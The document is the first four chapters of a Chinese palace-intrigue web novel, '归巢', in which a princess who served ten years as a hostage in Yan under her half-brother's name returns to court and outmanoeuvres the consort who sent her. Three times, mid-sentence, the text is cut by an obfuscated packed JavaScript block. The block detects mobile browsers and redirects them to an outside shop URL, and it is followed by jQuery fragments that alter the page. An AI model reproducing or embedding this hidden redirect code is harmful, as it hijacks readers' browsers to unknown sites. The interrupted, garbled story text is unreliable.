《归巢》
1. 第一章
狂风卷着暴雪,天地一片混沌,敲在雪地中前行的马车上,发出沉闷的呜咽。
远处的山峰被云层笼罩,马儿打了个响鼻,在原地踱步,不肯前进。
姜宁斜倚在马车车厢上,整理了一下身上的旧裘。这是十年前她去燕国为质时母亲给她缝制的衣衫,如今早已泛白。寒风顺着车厢向内攀爬,靠近马车内的炭火时,又迅速被驱散。
“公子,前面便是晟国了。”
侍卫长李卫策马来到姜宁马车车窗前,声音里带了些难掩的欣喜。他奉燕帝旨意护送晟国七皇子归国,担惊受怕一路,如今终于快到晟国的地界了。等他把这晟国七皇子安全无虞的交到大晟,他就可以安心回家买酒喝了。
“咻——”
说话间,一支银箭不知从何处破空而来,直直射向前行的马车。李卫下意识拔剑,却还是慢了片刻。银箭穿透车身,擦过姜宁的面颊,削下她鬓角一缕碎发,直直的插在了马车上。
“有刺客!保护公子!”
李卫的吼声响起,在偌大的荒野中,顷刻便只剩了呼啸的风声。
无数蒙面黑衣人从四面八方骤然出现,向着马车疾奔而去,仿佛从雪地里钻出的恶灵。刀兵相接处,闪过些许火花,又迅速湮灭在雪地之中。他们每一次手起刀落,便伴随着一条生命的消散。
“十年了。”姜宁喃喃,摩挲着腰间的玉佩,眼里的神色也一点一点冷了下去,“十年前你们不想要我活,十年后,你们还是要我死。”
十年前,晟燕两国于淮水征战,晟国大败而归,燕国军队顺势陈兵淮水之畔。燕帝赫连宸修书一封,要晟国七皇子姜望入燕国为质十年,否则燕国铁骑南下,挥师踏平晟国。
只是那姜望是大晟皇帝姜夔最宠爱的贵妃之子,贵妃怎么忍心让他来受北地的寒苦?于是,她这个宫婢所生、被养在冷宫七年的所谓公主,竟因为这一封信被贵妃记起,女扮男装,成为了所谓的七皇子姜望。
十年了,她做了十年的质子姜望。如今,那个女人竟想要把这个身份抢回去还给她的七哥,让他继续享受这世上的富贵荣华。天底下哪有这么好的事?
大地突然震颤起来,震感由远及近,直至装备精良的大晟骑兵出现在战场之外。
领先的少年将军穿着黑色铠甲,骑于战马之上,身姿挺拔如松。他面覆银色铠甲,在雪地里泛着森冷的光,如今不过十八岁,眉宇间却已凝聚出远超年龄的沉稳与肃杀。
“去。”
他的目光落在马车之上,薄唇轻启,黑色的铁骑便如同一把黑色钢刀,直接将战场一分为二,而后,只剩了单方面的屠杀。不过片刻,战局便尘埃落定。
鲜血染红雪地,少年骑着战马,从横七竖八的尸体中踏过,来到马车车窗前。
姜宁掀开车帘,入目只见一片无边无际的雪白,寒风吹得脸颊生疼,嘴唇也干的厉害。她下意识舔了一口嘴唇,疼痛感夹杂着一股难言的血腥味顿时充斥着口腔。
这时,骑在马上的谢流才看清楚姜宁的脸。
入目是一双淡漠的眼,她的目光明明聚在他的身上,可他却觉得有什么无形的屏障立在他和她中间,把他和这周围的所有一切都隔绝在外,这种感觉似曾相识。
“咳咳——”
姜宁迅速低头,发出几声咳嗽,这才打断了谢流的审视。
“你要我做的事我做到了。”谢流开口,声音压低,多了些许的冷意,“别忘了你信里给我的承诺。”
“当然。”姜宁开口,嗓音沙哑,不似个少年,却似个风烛残年的老者。
谢流微微皱眉,抬手间,黑甲骑兵有序排列在他身后。雪地里的尸体被清理干净,空气中还残留着些许的血腥味。他又看了姜宁一眼,这才发出轻喝,带着众人向着远方疾驰而去。
等到谢流走了,贵妃陆氏指派的老妇这才来到车窗前。她脸色苍白,眼里仍带着未褪的惶恐,显然还未从刚才的刺杀中缓过神来。
“你就这样让他走了?”老妇皱眉,声音里带了毫不掩饰的不悦。
姜宁的目光从远处收回,落在了老妇的脸上,不紧不慢道:“不然呢?”
老妇被她这话一噎,脸上多了几分不耐。她靠近车窗,开口道:“回程路远,既然这谢小将军路过,何不让他护送我们回去?”
“我为主,你是奴,你敢做我的主?”姜宁开口,声音依旧淡淡。
这些话落入老妇耳中,她脸色一沉,当即低声警告道:“小贱人,在燕国当了十年质子,真以为自己是七殿下了?假的终究是假的,等我们回到宫里,你这个假东西的命也就到头了。”
随着老妇的话音落下,姜宁隐在阴影中的脸上多了一分淡淡的杀意。这杀意来的极快,不过一瞬便消失的无影无踪。
“刘嬷嬷也是宫里的老人,怎么比我还天真?”姜宁放下车帘,沙哑的嗓音清晰地传到老妇耳中。
“这世上所有的人都可以盼着我死,但是刘嬷嬷你却是最该祈祷我能活得久一点的那个。”
“毕竟,我若‘到头’了,嬷嬷你这除了贵妃娘娘和我之外的‘知情者’,又有多久的活头呢?”
“你说,娘娘是会念你多年苦劳给你个痛快,还是会用一些手段,让你……慢慢‘到头’?”
刘嬷嬷瞳孔猛然一缩,脸上的血色顷刻褪去。她踉跄两下,还是扶住姜宁的马车,这才堪堪站稳了身形。
车轮碾过积雪,发出吱嘎声响。
刘嬷嬷脸色一变再变,看向车窗的眸子里仿佛淬了毒。不过是个宫婢生出的小贱人,在燕国十年不声不响,谁都可以踩一脚,如今回来了,竟敢离间自己和贵妃娘娘,拿捏起主子的架子来了?
她刚想要说话,将心中翻涌的恶毒咒骂尽数倾泻,却听得一阵急促而整齐的马蹄声由远及近。
刘嬷嬷下意识转头望去,只见官道尽头,一队人马正飞奔而来。刘嬷嬷心头暗喜,以为是自家贵妃娘娘派人来了,腰杆不由得挺直了几分。她上前几步,开口冲姜宁挑衅道:“贵妃娘娘派人来了,今日便是你和你那贱婢娘亲的死期。”
姜宁不语,眼底酝酿着浓烈的杀意。没想到,一次刺杀不成,那女人还敢派来第二波。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632619|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她掀开车帘,目光落在那策马向她疾驰而来的数十人身上。玄色铁甲在冬日稀薄的阳光下泛着冷硬的光泽,赤红色缨穗随着骏马奔驰而飞扬,如同跃动的火焰。
这是宫中的御林军,绝非一个贵妃可以调动。来的这般快,想来方才的刺杀也早被他们收入眼底。
姜宁收回目光,发出一声冷笑。
马车再次停下,唯有那刘嬷嬷还在姜宁耳边喋喋不休。
“是我错了。”姜宁突然开口,沙哑的嗓音刻意放的轻软,“嬷嬷且靠近一些,我有些东西孝敬您。”
刘嬷嬷鼻腔发出一声冷笑,心道贱婢果然是生贱种。她这般侮辱她那贱人娘亲,这小贱人居然还想着用财物来讨好她?不过,也算她识时务。她轻蔑的走近姜宁的车窗,向姜宁伸出手来。
“嬷嬷再近一些。”姜宁再次开口,声音轻软,满是蛊惑,“我对外是七皇子,若是旁人瞧见我独独给嬷嬷赏赐,这回程怕是辛苦。”
刘嬷嬷点头,依言再次靠近,整个人几乎贴在了车厢之上。
说话间,一只手从车厢探出,寒光一闪,干脆利落的划过刘嬷嬷的咽喉。
刘嬷嬷只觉脖颈一凉,瞪大眼睛,死死捂住自己的喉咙,温热的鲜血争先恐后地从指缝间涌出。她看着姜宁近在咫尺的脸,那张脸上没有如往常一般的恐惧与讨好,只有一片冰冷的、俯瞰蝼蚁般的漠然。
“你!”她想嘶吼怒骂,却只能发出破碎的气音,最后只能“咚——”的一声倒在地上。殷红的血迹从她脖颈处不断渗出,如同在雪地中绽放的血色花朵。
那队人马来到姜宁的马车跟前,没有任何人在意老妇的死活,甚至连一个目光都懒得施舍。众人翻身下马,齐齐向着马车跪下,当头那人声如洪钟:“御林军统领沈别山,奉陛下口谕,迎七皇子回宫。”
车帘再次掀开,这次只是一个小小的缝隙。姜宁的脸半隐在车厢的阴影中,沈别山只能看见她紧抿的唇线和冷硬的下颌。
“沈统领。”姜宁淡淡开口,目光掠过地上刘嬷嬷的尸身,如同看一件无关紧要的垃圾,“本殿下回程途中遇刺,刘嬷嬷与敌寇勾结,现已伏诛。”
沈别山闻言头也未抬,抱拳沉声道:“末将护卫来迟,致使逆贼惊扰殿下车驾,罪该万死。此等背主之徒,死不足惜。”
“沈统领一路劳苦奔波,何罪之有?”姜宁再次放下车帘,低头擦拭匕首上的血迹,仿佛只是擦拭些许尘埃,“若要说有罪,那也是这些胆大包天的贼人。”
片刻后,她将染污的绢帕随手丢向车外,连带着那段无需她再忆的过往。那柄擦拭干净的匕首再次滑入袖中,隐没了锋芒。
沈别山起身,和李卫交接完毕,带着马车再次启程。
车厢内归于寂静,只有姜宁平稳的呼吸声。
她缓缓抬起眼看向前方,仿佛已望见了那座阔别十年的巍峨皇城。
风雪声在这一刻远去,一个低沉而清晰的声音在车厢里响起,不再是十年那个无助的幼女,而是在燕国沉寂了十年的“姜望”。
“大晟,我回来了。”
2. 第二章
官道早已被白雪掩埋,白,成了天地间唯一的颜色。马车从雪地中驶来,敲开了前方紧闭的城门。
没有万民夹道,没有喧天锣鼓。前来迎接的,只有一队神色冷峻的铁血士兵。
“七殿下,沈统领。”为首的将领目光扫过马车,掏出腰间的令牌,向沈别山抱拳道,“吾乃镇北王亲卫萧鼎,娘娘思念殿下,王爷命吾等护送殿下进宫,就不劳烦沈统领了。”
沈别山端坐马上,身形如山。他缓缓抬手,止住了身后逐渐躁动起来的御林军,目光落在萧鼎手中那枚令牌上。
玄铁制成的令牌上雕刻着象征镇北王府的竹,通体圆润,下首刻着“陆”字,确实是镇北王的令牌。
“萧护卫说的什么话?”沈别山开口,声音平稳依旧,“末将奉陛下旨意,要亲带七殿下入宫,职责所在,不敢假手他人。”
说话间,他夹了一下马肚,马儿踏步向前,连人带马挡在了姜宁的马车之前。身后的众多御林军得了信号,几乎同时控马向前,将姜宁的马车团团围住。
“沈统领这是什么意思?”萧鼎眼里闪过几分不悦,终究没有发作,只是沉声开口,“娘娘与殿下十年未见,难道统领连这点儿人之常情都不能成全?”
“末将乃御林军统领,只遵陛下令。”沈别山朗声开口,声音穿透风雪,清晰无比的落在每个人的耳中。
马儿似是觉察到不安,开始嘶鸣。
“咳咳——”
一声轻咳猝然响起,打破了这份剑拔弩张。沈别山和萧鼎不约而同看向马车,却见一个身形羸弱的少年掀开车帘走了出来。
看清楚姜宁脸的一瞬间,沈别山的瞳孔不由得一缩。
瘦弱的身形,苍白的脸,个子甚至算不得高。方才见他行事那般狠辣,还以为京中会再起波澜,不曾想,竟只是这般……寻常,甚至是孱弱。
恐怕那位见了,只会大失所望。
“母妃思念,本王亦是归心似箭。”姜宁扶住车厢,语调平缓,目光却如结了冰的湖面,清冷地落在萧鼎身上,“萧护卫,沈统领奉的是父皇的皇命,你奉的是舅舅的王命。”
她微微停顿,再次发出几声咳嗽。寒风卷起她额前的几缕碎发,本来就没什么血色的脸又苍白了几分。
“然而..……”姜宁再次开口,声音依旧沙哑,却带着不容违逆发威严,“天家威严,断不可违。”
“殿下!”萧鼎张口,还想试图说些什么,最后却只能沉默着,向后打了个手势,吩咐众人为马车让出一条通路来。
姜宁回首,想着来时的方向看了一眼。片刻后,她微微俯身,再次坐回了马车。
马车里再次响起姜宁沙哑的声音:“沈统领,启程吧。”
“是。”
沈别山领命,一众人再次排列开,浩浩荡荡的向着皇城所在的方向驶去。
马车颠簸,姜宁的头脑却格外的清醒。
贵妃杀她在意料之中,可御林军只遵圣令,又为何会出现在那里?若真的是因为拳拳爱子之心,那沈别山早就到了,为何却冷眼旁观,直到尘埃落定才入场。
“沈统领。”姜宁突然出声,“我同父皇十年未见,他可有什么口信带给我?”
沈别山勒住缰绳,扭头看向那并未掀开车帘的马车,眼里带了些惊诧之色。惊诧于陛下的判断如此之准,亦惊诧于这位殿下真的会问。
良久,沈别山终于开口。
“陛下只说……”他顿了顿,目光似乎穿透了车帘,落在姜宁身上,“异国风霜苦,活着回来。”
异国风霜苦,活着回来。
这短短一句话,像一把冷刀刺入姜宁的心口。
原来,就算她如今的身份是他最宠爱的“姜望”,依旧只能得到得到这般冰冷的问候。看似是父亲的温情嘱托,实则是一道冷酷的考核谕令,每一个字都如此精雕细琢,真不愧是一国之帝。
就在姜宁念头纷飞之际,马车缓缓停下,沈别山的声音骤然响起:“殿下,东华门到了。”
竟是……东华门。
这是捧杀?还是她通过考验后得到的些许奖励?
“贵妃娘娘思念您的紧,却身体不适,派了人来接您一同去大殿。”沈别山的声音再次响起。
姜宁点头,缓缓从马车中走出。
车帘掀开,她看到了身着杏色宫衣的娘亲。她瘦了,也老了,唯一不变的,是她发红眼眶里的温情。
对上娘亲目光的一瞬,姜宁也忍不住眼眶发酸。可她还是很好的掩饰了过去,扶住沈别山的手下了马车。
柳窈娘身侧的宫装女子撞了一下她的肩膀,她这才如梦方醒般,向着姜宁跪下行礼,柔声道:“殿下……”
只这么两个字,便已经是泣不成声。她垂下头,再说不出一个字来,只剩了呜咽。
“殿下。”站在柳窈娘身侧的宫婢上前一步,向姜宁微微屈膝,声音却满是不耐,“娘娘说了,她在宫里等您。”
说完,也不等姜宁说话,她便自顾自的起身。
看来,贵妃娘娘身边又多了个得用的蠢货。
“跪下。”
姜宁的声音不高,却带着凛冽的寒意。她甚至没有看那宫婢,只是看着肩头耸动的娘亲。
那宫婢显然没料到姜宁会突然发难,愣了一下,却仍旧强作镇定道:“奴婢是奉了娘娘之命……”
“我让你跪下。”姜宁侧头,目光落在那仍旧站着的宫婢脸上,神色淡淡,却带着不容置疑的威严,“离宫十年不见,母妃宫里的人,是越发不懂规矩了。”
她每说一个字,语气便森冷一分。随着她的话音落下,那宫婢膝盖发软,“扑通”一声跪倒在地,脸上只剩了惊惧。
“奴婢……奴婢知错!”
“大胆刁奴,竟敢不敬七皇子殿下。”一个尖细声音响起,姜宁循声望去,却是皇帝身边的最受宠的大太监云喜公公走了过来,“来人呐,拖出去砍了。”
他话音落下,手轻轻一挥,宫门侍卫便毫不犹豫堵了那宫婢的嘴,利落将人拖了下去,只在青石地上留下一道浅浅的拖痕,很快便被风雪掩埋。
云喜看也不看那被拖下去的宫婢,疾步走向姜宁,脸上的厉色瞬间消融,取而代之的,是满面的笑意。
他向着姜宁深深一揖,笑着道:“老奴云喜,参见七殿下。殿下恕罪,老奴来迟一步,让这没眼力的东西冲撞了您。”
说完,他转向沈别山,开口道:“沈统领,陛下口谕,您一路辛苦,带各位大人歇息,咱家带着殿下面复圣命便是。”
沈别山点头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632620|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,向云喜抱拳:“有劳公公了。”
云喜亦是点头,吩咐柳窈娘一众回贵妃的翊坤宫等候,这才微微侧身,让开身前的路来:“殿下,请随老奴来,陛下在御书房等您。”
“劳烦公公了。”姜宁点头,一脚踏入宫门。
随着姜宁的踏入,朱红色宫门在她身后缓缓合拢,发出沉闷的巨响,彻底隔绝了外面的天地。两侧高墙巍然耸立,向前延伸,不知道通向何方。
“殿下多年未归,怕是有些路径都生疏了。”云喜弓着身子,低声开口。
“是啊。十年未见,石板里的青苔都不知道换了几茬。”姜宁淡淡开口,走在云喜身前,步履缓慢。
她踩着雪地一点点前行,目光遥遥向前,仿佛看到了那座她和娘亲相依为命,生活了数年的冷宫。
她深吸一口气,继续开口:“不过有些路,就像刻进了掌纹里,不论风雨变迁,初心不改。”
话音落下,她和云喜也行至了一个岔路口。
“殿下,这边。”云喜俯身,指向左边的路,低声提醒。
姜宁在岔路口站定,久久没有说话。寒风卷着雪沫,拍打在她的脸上,让她的脸又白了几分。她身子摇摇晃晃,仿佛下一刻便会摔倒。
云喜上前两步,扶住姜宁摇摇欲坠的身形。触手处一片冰凉,隔着厚重的布料,却仍旧觉得硌手。
“多谢公公。”姜宁借着云喜的力量站定,轻轻开口,面带柔和的笑意。良久,她抬腿,那条腿在雪地上悬空片刻,终是落在了右边。
“十年了,”她开口,呵出的白气在寒冷的空气中袅袅消散,“去时既走的这条路,归来便也该由此路返。”
“是。”云喜开口,搀着姜宁向御书房所在缓缓驶去。
宫人清扫的路被大雪掩埋,踩上去发出“咯吱”声响。姜宁的身形摇摇晃晃,步履却格外坚定。
“对了。”云喜话音一转,仿佛只是随口一提,“听闻殿下入城时,镇北王曾派人来接殿下,被殿下挡了回去。”
姜宁的步伐未有丝毫停歇,连呼吸的频率都未曾改变。她依旧看着前方,唇角却逐渐弯起一个细微弧度。
“云喜公公的消息,还是这般灵通。”姜宁开口,听不出喜怒,“并非什么要紧事,不过是舅舅和母妃多年未见我,思念心切。只是……父皇有召,为人臣为人子者,岂敢先见旁人?”
“旁人”二字她咬得极重,落在云喜的耳朵里,却让他脸上的笑意不由得一滞。他眸光微闪,旋即恢复恭顺模样,连声道:“殿下说的是,是奴才多嘴了。”
说话间,御书房已近在眼前。
“有劳公公通传。”姜宁再次开口,不着痕迹的抽手,“接下来的路,该我自己走了。”
云喜只觉得臂弯一空,那点微薄的暖意瞬间被寒气取代。
姜宁凝视着前方御书房紧闭的朱红殿门,深吸了一口气。她低下头,整理了一下身下的旧裘,心里头的忐忑一点点淡去。
云喜看着她的脊背越挺越直,恍惚间,似乎看到了陛下年少时的身影。他的目光从姜宁身上收回,抬头看了一眼头顶四四方方的天空,又看了一眼雪地。
铅灰色天空低垂,夹着着暴雪。旧雪覆新痕,来路即是归途。
“要变天了。”
3. 第三章
殿门打开一道缝隙,前去传话的云喜再次走出门来,步履轻盈。龙涎香的味道混着丝丝暖意扑面而来,将姜宁身上的寒意都驱散了几分。
“殿下,陛下有请。”云喜开口。
姜宁点头,推门而入。
身后,殿门在云喜手中缓缓合拢,将外面灰蒙蒙的天光与凛冽的寒气,一并关在了门外。
殿内烛火通明,暖得让人有些发晕。御座之上,那人明黄的身影在氤氲的香气和光晕里,显得有些模糊不清。
耳边突然响起琵琶声,弹奏的晟国最常见的歌谣。大弦嘈嘈,小弦切切,嘈嘈切切错杂弹,大巧不工,反而衬出弹奏之人技艺的精妙。
高坐御宇的帝王姜夔眼眸微闭,手指在空中划动,仿若沉溺其中。烛火在他脸上跳跃,明明灭灭间,姜宁看不清他真正的神情。
一曲终了,姜夔睁开眼睛,看向殿中站着的姜宁,开口道:“你回来了。”
四个字,却仿佛说尽了千言万语。
姜宁垂眸,跪伏在地上,向姜夔行了父子大礼,沉声开口:“不孝儿姜望,幸不辱命。”
姜夔看着跪伏在地上的姜宁,久久没有说话,亦没有让她起身。
殿内的时间仿佛在这一瞬凝固,只有跳动的烛火在二人身上摇曳。龙涎香依旧,额头的金砖贴在额间,带着丝丝暖意。
“你在燕国十年,想来听过不少当地的歌谣。你觉得,我大晟的这首小曲,比燕国的如何?”
姜夔的声音很平静,仿佛真的只是一个父亲在问询儿子。他挥了挥手,屏风后的人抱着琵琶,悄无声息的离开了大殿。
“回父皇,燕歌大多慷慨,带塞北风沙之烈,凛冽苍茫。”姜宁依旧没有抬头,只是将头磕在地上,缓缓开口,“我晟国小调,虽源起市井,可婉转处是江南烟雨,平实处是万家灯火,铿锵处是更鼓声声,家国风骨。”
“万家灯火,更鼓声声,家国风骨......”姜夔缓缓重复这几个字,每个字都念的极慢,昏黄烛光里,他的眼神终于起了细微变化,“你竟能从市井小调里,听出这个。”
旋即,他语音一转,再次开口:“你并没有回答我的问题。”
“燕歌凛冽,终难登大雅之堂。”姜宁淡淡开口,声音不卑不亢,“况且,燕歌再好,非吾故音。儿臣在燕十年,从未有一刻忘记自己是晟人。”
“看来这十年,你并未迷失在燕国的‘山河壮阔’之中。”姜夔点头,语气逐渐放软,带了些许的温柔,“地上寒凉,你身上还穿着旧衣,委屈你了。”
“衣衫虽旧,却仍可蔽寒。能重归故里,聆听父训,已是新裳不及之喜。”
“起来吧,不必跪着了。”姜夔开口,声音里沾染了些许疲惫,“你离宫十年,想来贵妃想你的紧。近来她染了风寒,你倒是回来的刚好。既然见过我了,便回去见你母妃吧。”
“是。”姜宁从地上站起,正准备离开,姜夔的声音再次响起。
“这几日,你先暂住乾清宫。明日,朕会大宴百官,贺你归来。到时候,朕自会论功行赏。”说完,他转向不知何时站在龙案边的云喜,淡淡道,“云喜,去将前几日江南进贡的那匹‘雨过天青’取来,让宫里的绣娘给七皇子赶制几件新衣。”
“多谢父皇。”
姜宁和云喜退出御书房,寒意袭来,她禁不住打了个寒战。
柳窈娘手里抱着厚实的披风,手执一盏小灯,站在角落里不时张望。当看见姜宁和云喜出来,当即小步跑上前去。
“雨过天青格外珍贵,内库里只此一匹,内务府的人手笨,翊坤宫既有人来接殿下,奴才便先去盯着他们,免得伤了上好的料子。”云喜向着窈娘点头,这才向着内务府行去。
柳窈娘送走了云喜,忙把披风披在姜宁身上。她伸出手,想要摸摸姜宁的脸,最后只是哽咽着握住了她的手。
宫道上的风依旧是冷的,可那只手传来的温度,却让姜宁恍惚了一下。独属于娘亲的温度从指尖传来,一点一点,慢慢萦绕上胸口,她那颗沉寂多年的心也忍不住重新活了过来。
“阿……”
“阿娘”二字在舌尖几经辗转,终究是没有说出。
“嬷嬷。”姜宁开口,吐出的嬷嬷二字带着连她自己都未察觉的哽咽。
“是,是我。”柳窈娘再次抬眸,已经是泪眼婆娑,她死死握住姜宁的手,声音哽咽,“殿下长高了,也瘦了,这十年定然吃了不少的苦。”
“嬷嬷这十年……”姜宁开口,每说一个字,声音便哽咽一分,“过得更苦。”
宫道尽头似有脚步声传来。
柳窈娘一个激灵,极快拭去脸上的泪痕。再转回头时,她已极力压下了汹涌的情绪,只余微红的眼眶泄露着方才的失态。
她松开手,后退一小步,重新执起宫灯,微微垂下头,恢复了恭敬的姿态,只是那声音里还带着淡淡的哭腔:“风大,殿下仔细着了寒气,娘娘还在翊坤宫等您,奴婢这就替您掌灯。”
话音落下,她已提着灯,侧身给姜宁绕开了道路。
昏黄的宫灯在雪地折射出昏黄的光,连带着姜宁的心都跟着暖了下来。她握住娘亲执灯的手,声音微哑,却格外坚定:“阿娘,从今天开始,我会是真正的姜望。”
这句话如同惊雷炸响在柳窈娘耳畔,她差点将手里的宫灯扔了出去。好在姜宁的手盖在她手上,这才没有丢出去。她下意识看向姜宁,眼里闪烁着惊惧。
姜宁松开手,向柳窈娘露出一个笑来。
柳窈娘垂眸,不再言语。她死死拽住手里的宫灯,指尖因为用力微微发白。
宫灯照亮姜宁的脸,柳窈娘看到了她眼里闪烁的野心。
她突然发现,身前这个人,不再是那个年幼时依偎在她怀中祈求她庇佑的女儿。燕国的十年,将她身上女子的痕迹逐步掩去,取而代之的,是同陛下一般的威严。她不敢想,更不敢问她的宁儿在燕国这十年遇见了什么。
十年前,宁儿为了她顶替姜望,只身入燕国为质。如今,宁儿归来,她既然想要那个位置,那她一定会支持她,哪怕是用自己的命。
这个念头逐渐浮现,柳窈娘握着宫灯的手也逐渐平稳下来。她向姜宁露出一个笑容,开口道:“殿下,前方路滑,奴婢会为您照亮。”
母女不再多言,一前一后,缓缓向着翊坤宫所在的方向驶去。
雪落无声,唯有地上积雪被踩时发出的细微声响。宫灯摇曳,烛火渺茫,却在寒风中燃烧,照亮二人前进的路。
这一次,她不再是一个人。
翊坤宫的宫门在姜宁眼中逐渐清晰起来,殿门悬挂着红灯笼,看起来一副喜气洋洋的模样。越走近,姜宁便越发觉得灯笼红的刺眼。
“殿下!”
随着一众宫婢的声音响起,姜宁被带着进入翊坤宫。不多时,一个华美妇人被人搀扶着走了过来。她满头点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632621|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翠,身披白狐皮裘,艳红色的里衣下摆隐约可见用金线刺绣而出的繁杂花纹,在宫灯的映照下熠熠生辉。随着她的迈步,点翠轻摇,裙摆翻飞,流光溢彩。
“我儿……”贵妃陆欣荣急急向姜宁跑了两步,斜倚在宫婢身上,向姜宁缓缓伸手,眼眸微垂,声音里带了些矫揉的哽咽。
“儿臣姜望,问母妃安。”姜宁止步,向着陆欣荣拱手行礼,把“姜望”二字咬的极重。
陆欣荣的表情凝固了一瞬,伸出的手顿在半空,指尖开始颤抖。她低下头,假意掏出锦帕拭泪,实则是调整自己的心绪。再次抬头时,又换上了一副慈母般温和的神清。
“你这孩子。”陆欣荣收了锦帕,动作恢复了惯有的雍容,只是语气里添了几分似真似假的嗔怪,“十年不见,怎的越发拘礼了。”
“燕国十年太苦,儿臣不敢忘。”姜宁答。
“是啊,你去时不过才六岁。”她的目光似是无意地扫过姜宁身侧的柳窈娘,意有所指,“离了母亲,你在那苦寒之地孤苦无依,又身为质子,平日定然无人与你多说些体己话,所以如今才这般少年老成。”
姜宁没有答话,仿佛并未听出陆欣荣话里的弦外之音,只是侧头接过柳窈娘手中的宫灯。她向柳窈娘露出一个淡淡的微笑,示意她安心,这才转向陆欣荣,继续道:“燕国虽苦,儿臣却从未觉得孤苦无依。母子连心,血脉亲情,又岂在朝夕之间?当年母妃之痛,不亚于儿臣。正因儿知母妃不易,儿臣才不敢懈怠,所以能站在这里,同母妃闲话家常。”
姜宁每一句落下,陆欣荣脸上的笑意便少一分,到了最后,只剩下满脸狰狞。
她挥退众人,一时间,屋子里只剩下她和姜宁两个人。
她坐在软榻上,轻啜了一口茶,这才开始认真打量起姜宁来。她的目光在姜宁的脸上一寸寸划过,似乎要将这张脸牢牢记在心间。
片刻后,她再次开口,声音里却带了难掩的杀意:“燕国的风雪果然养人。不过十年,竟把一条狗养成了狼。”
“母妃此言,儿臣不敢苟同。”姜宁寻了个座椅坐下,声音淡淡,“儿臣从不是狗,只是离家时年龄尚幼,羽翼不丰,母妃看走了眼。”
“不过是个鸠占鹊巢的假货罢了。”
“假货?”姜宁重复这两个字,突然笑出了声来,她突然发现,她畏惧了十年的敌人,除去她身后富足的家世之外,不过是个彻头彻尾的蠢货,“燕王要的是晟国七皇子为质。”
姜宁敛了笑,抬眸看向陆欣荣。
“我终究是父皇的女儿,为大晟入燕国为质十年,您和陆家呢?”她站起身,一步一步向陆欣荣走近,微微前倾,附在陆欣荣耳边,低声道:“敢问母妃,若您和陆家李代桃僵之事被父皇知晓,这‘假货’之名,究竟该落在谁的头上?父皇是会承认我是假货,还是会让除了我之外的知情人通通闭嘴?”
“你……你胡说!”随着姜宁的话音落下,陆欣荣猛地站起身。她指尖颤抖地指着姜宁,满头的点翠因她剧烈的动作而疯狂摇晃,撞击出凌乱惊恐的声响。
片刻后,她脸上的慌乱褪去,取而代之的,是满脸怨毒:“燕国虎视眈眈,陛下还指着我父亲和兄长打仗,就算他知道了又如何?只要你死了,所有的一切都不是问题。”
“一个空有名头的贵妃和永不能出现的皇子,一个只能寄希望于陆家并为了大晟入燕为质十年的皇子,你说,陆家又会选谁?”
4. 第四章
宫殿内灯火通明,千金难买的苏合香萦绕在陆欣荣鼻尖。往日醇厚温润的香气,今日却甜腻的粘在喉头,让人作呕。
她猝然想起来十年前来。
那也是同样的雪夜,她站在冷宫,姜宁跪伏在地上瑟瑟发抖,连抬头看她一眼都不敢。
十年未见,那个小女娃竟有了这般平视她、威胁她的勇气。
一股巨大的屈辱感袭来,夹杂着强烈的后悔,让陆欣荣眼前止不住的发黑。她脚下一软,止不住的踉跄了两下,差点儿摔倒在地。
“母妃。”姜宁伸出手,稳稳扶住陆欣荣,声音依旧平和,“不管怎么说,我都会是母妃的好儿子。”
姜宁故意把“儿子”二字咬得极重,陆欣荣如坠冰窖,迅速甩开了姜宁的手。
此时此刻,她无比后悔自己十年前的决定。
十年前她一念之差,不仅养出了一头狼崽子,还成了她被这个狼崽子拿捏的把柄。
她说的没错,不论眼前的这个“姜望”是真是假,是死是活,她真正的望儿都已经拿不回这个身份了。在这个前提下,陆家人不会为了她孤注一掷,他们更愿意选择姜宁这个有用的棋子。
这种认知如冷水浇头,让她整个人都止不住颤抖起来。
“陛下有旨——”
云喜尖利的声音由外传来,像是为陆欣荣注入了新的力量,让她本来衰败下去的脸迅速泛起光泽,可是这份光泽在云喜向姜宁行礼的一瞬间又暗淡了下去。
“奴才给七殿下请安,给贵妃娘娘请安。”云喜开口,脸上带着恰到好处的笑意,“七殿下,乾清宫已经收拾出来了。陛下赏赐的‘雨过天青’,奴才也已经送去内务府为您赶制新衣。”
“陛下另有口谕,晚膳会移驾殿下宫中,同殿下一同食用。带路的小太监在翊坤宫外等殿下,奴才还要回去向陛下复命,便先告退了。”
云喜每一个字,都如同洪钟一般砸在陆欣荣的心头,若不是服侍的宫婢进来扶住了她,她恐怕早已经摔在了地上。
